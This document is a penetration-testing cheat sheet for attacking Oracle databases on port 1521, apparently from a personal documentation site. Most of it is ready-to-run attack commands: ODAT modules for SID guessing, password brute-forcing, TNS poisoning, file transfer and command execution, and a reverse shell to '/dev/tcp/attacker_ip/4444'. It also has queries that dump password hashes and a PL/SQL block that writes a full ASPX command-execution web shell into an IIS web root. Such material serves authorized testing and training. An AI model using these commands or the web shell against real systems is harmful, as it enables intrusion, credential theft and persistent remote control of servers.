> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/database/oracle.md).

# Oracle SQL | 1521

## 00. Basic

```bash
## ------------------| Nmap Scans
sudo nmap -Pn -sC -sV -p1521 $IP
sudo nmap -Pn -sC -sV -p1521 --script *oracle* $IP
sudo nmap -Pn -sC -sV -p1521 --script oracle-sid-brute $IP
```

## 01. ODAT (Oracle Database Attacking Tool) 

```bash
## ------------------| Install on aarch64 (ARM)
sudo apt-get install libaio1t64 python3-dev alien -y 
git clone https://github.com/quentinhardy/odat.git && cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/instantclient-basic-linux-arm64.zip
wget https://download.oracle.com/otn_software/linux/instantclient/instantclient-sqlplus-linux-arm64.zip
unzip instantclient-basic-linux-arm64.zip
unzip instantclient-sqlplus-linux-arm64.zip
echo "export LD_LIBRARY_PATH=\"$(pwd)/instantclient_23_7:\$LD_LIBRARY_PATH\"" >> ~/.zshrc  ## Change 19_25 and change ~/.bashrc if you are using bash
echo "export PATH=\"\$PATH:$(pwd)/instantclient_23_7\"" >> ~/.zshrc    ## Change 19_25 and change ~/.bashrc if you are using bash
sudo apt-get install -y python3-cx-oracle python3-scapy python3-colorlog python3-termcolor python3-passlib python3-pycryptodome python3-pyinstaller python3-libnmap build-essential libgmp-dev  

## ------------------| Scan all 
odat all -s $IP -p 1521

## ------------------| Scan SID
odat sidguesser -s $IP -p 1521

# ------------------| TNS Poisoning
odat tnspoison -s $IP -p 1521 -d <SID> --test-module
odat tnspoison -s $IP -p 1521 -d <SID> --poison 

## ------------------| Brute Force Passwords
odat passwordguesser -s $IP -p 1521 -d <SID> -U h4rithd -P passwords.txt
odat passwordguesser -s $IP -d <SID> --accounts-file /usr/share/odat/accounts/accounts.txt

## ------------------| Test Connection to Oracle Database
odat test -s $IP -d <SID> -U h4rithd -P password123

## ------------------| Upload Files to Oracle Server
odat utlfile -s $IP -d <SID> -U h4rithd -P password123 --putFile="<LOCAL_FILE_PATH>" --remotePath="<REMOTE_PATH>"

## ------------------| Download File from Server
odat utlfile -s $IP -d <SID> -U h4rithd -P password123 --getFile="<REMOTE_FILE_PATH>" --localPath="<LOCAL_PATH>"

## ------------------| Execute Java Code
odat java -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --exec "whoami"

## ------------------| Execute Reverse Shell
odat externaltable -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --exec "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"

## ------------------| Enumerate UTL_HTTP Access
odat utlhttp -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate UTL_TCP Access
odat utltcp -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate UTL_FILE Access
odat utlfile -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate JAVA Access
odat java -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate External Table Access
odat externaltable -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate CTXSYS Access
odat ctxsys -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Check if Oracle Listener is Running
odat tnspoison -s $IP -d <SID> -U h4rithd -P password123

## ------------------| Perform TNS Poisoning Attack
odat tnspoison -s $IP -d <SID> -U h4rithd -P password123 --poison
```

## 02. SQPLUS

```bash
## ------------------| Setup [intel]
sudo apt-get install oracle-instantclient-sqlplus
which sqlplus
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$ORACLE_HOME/lib
export PATH=$ORACLE_HOME/bin:$PATH

## ------------------| Setup [ARM]
mkdir -p /opt/oracle
wget https://download.oracle.com/otn_software/linux/instantclient/instantclient-basic-linux-arm64.zip -O /dev/shm/instantclient-basic-linux-arm64.zip
wget https://download.oracle.com/otn_software/linux/instantclient/instantclient-sqlplus-linux-arm64.zip -O /dev/shm/instantclient-sqlplus-linux-arm64.zip
wget https://download.oracle.com/otn_software/linux/instantclient/instantclient-sdk-linux-arm64.zip -O /dev/shm/instantclient-sdk-linux-arm64.zip 
unzip -d /opt/oracle /dev/shm/instantclient-basic-linux-arm64.zip
unzip -d /opt/oracle /dev/shm/instantclient-sqlplus-linux-arm64.zip
unzip -d /opt/oracle /dev/shm/instantclient-sdk-linux-arm64.zip 
version=$(unzip -l /dev/shm/instantclient-basic-linux-arm64.zip | awk '{print $4}' | grep '^instantclient_' | cut -d/ -f1 | sort -u)
echo "export PATH=$PATH:/opt/oracle/$version" >> ~/.zshrc
echo "export TNS_ADMIN=/opt/oracle/$version" >> ~/.zshrc
echo "export LD_LIBRARY_PATH=/opt/oracle/$version" >> ~/.zshrc
echo "export ORACLE_HOME=/opt/oracle/$version" >> ~/.zshrc
sqlplus -V

## ------------------| Login as user
sqlplus username/password@//host:port/SID
sqlplus <USERNAME>/'<PASSWORD>'@<IP>:1521/XE

## ------------------| Login as superuser
sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba

## ------------------| Show Current User
SELECT USER FROM DUAL;

## ------------------| List All Users
SELECT username FROM all_users;

## ------------------| List User Roles
SELECT * FROM user_role_privs;

## ------------------| List User System Privileges
SELECT * FROM user_sys_privs;

## ------------------| Show Session Privileges
SELECT * FROM session_privs;

## ------------------| List User Table Privileges
SELECT * FROM user_tab_privs;

## ------------------| List All Tables (Accessible)
SELECT table_name FROM all_tables;

## ------------------| List Tables Owned by Current User
SELECT table_name FROM user_tables;

## ------------------| Describe Table Structure
DESC table_name;

## ------------------| Select All Data from a Table
SELECT * FROM table_name;

## ------------------| Get Oracle Version
SELECT * FROM v$version;

## ------------------| Get Current Database Name
SELECT name FROM v$database;

## ------------------| Check Current User Sessions
SELECT username, sid, serial#, status FROM v$session;

## ------------------| List All Roles
SELECT * FROM dba_roles;

## ------------------| Check Role Privileges
SELECT * FROM role_sys_privs;

## ------------------| List Columns in a Table
SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE_NAME';

## ------------------| Check Grants Given to a User
SELECT * FROM dba_sys_privs WHERE grantee = 'USERNAME';

## ------------------| Check Password Hashes (10g or before)
SELECT name, password FROM sys.user$;

## ------------------| Check Tablespaces
SELECT tablespace_name FROM dba_tablespaces;

## ------------------| Check Users and Default Tablespace
SELECT username, default_tablespace FROM dba_users;

## ------------------| Read File Using UTL_FILE in Oracle
SET SERVEROUTPUT ON;

DECLARE
   f UTL_FILE.FILE_TYPE;
   s VARCHAR2(5000);
BEGIN
   f := UTL_FILE.FOPEN('/inetpub/wwwroot', 'iisstart.htm', 'R');
   UTL_FILE.GET_LINE(f, s);
   UTL_FILE.FCLOSE(f);
   DBMS_OUTPUT.PUT_LINE(s);
END;
/ # Hit enter then type '/' and  hit enter

## ------------------| Write File Using UTL_FILE in Oracle
DECLARE
   f UTL_FILE.FILE_TYPE;
   s VARCHAR2(5000) := 'h4rithd was there';
BEGIN
   f := UTL_FILE.FOPEN('/inetpub/wwwroot', 'h4rith.txt', 'W');
   UTL_FILE.PUT_LINE(f, s);
   UTL_FILE.FCLOSE(f);
END;
/ # Hit enter then type '/' and  hit enter

## ------------------| Drop ASPX Web Shell Using UTL_FILE
DECLARE
   f UTL_FILE.FILE_TYPE;
   s VARCHAR2(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button><asp:Label id="lblText" runat="server">Command:</asp:Label></form></body></HTML>';
BEGIN
   f := UTL_FILE.FOPEN('/inetpub/wwwroot', 'h4rithd.aspx', 'W');
   UTL_FILE.PUT_LINE(f, s);
   UTL_FILE.FCLOSE(f);
END;
/ # Hit enter then type '/' and  hit enter
```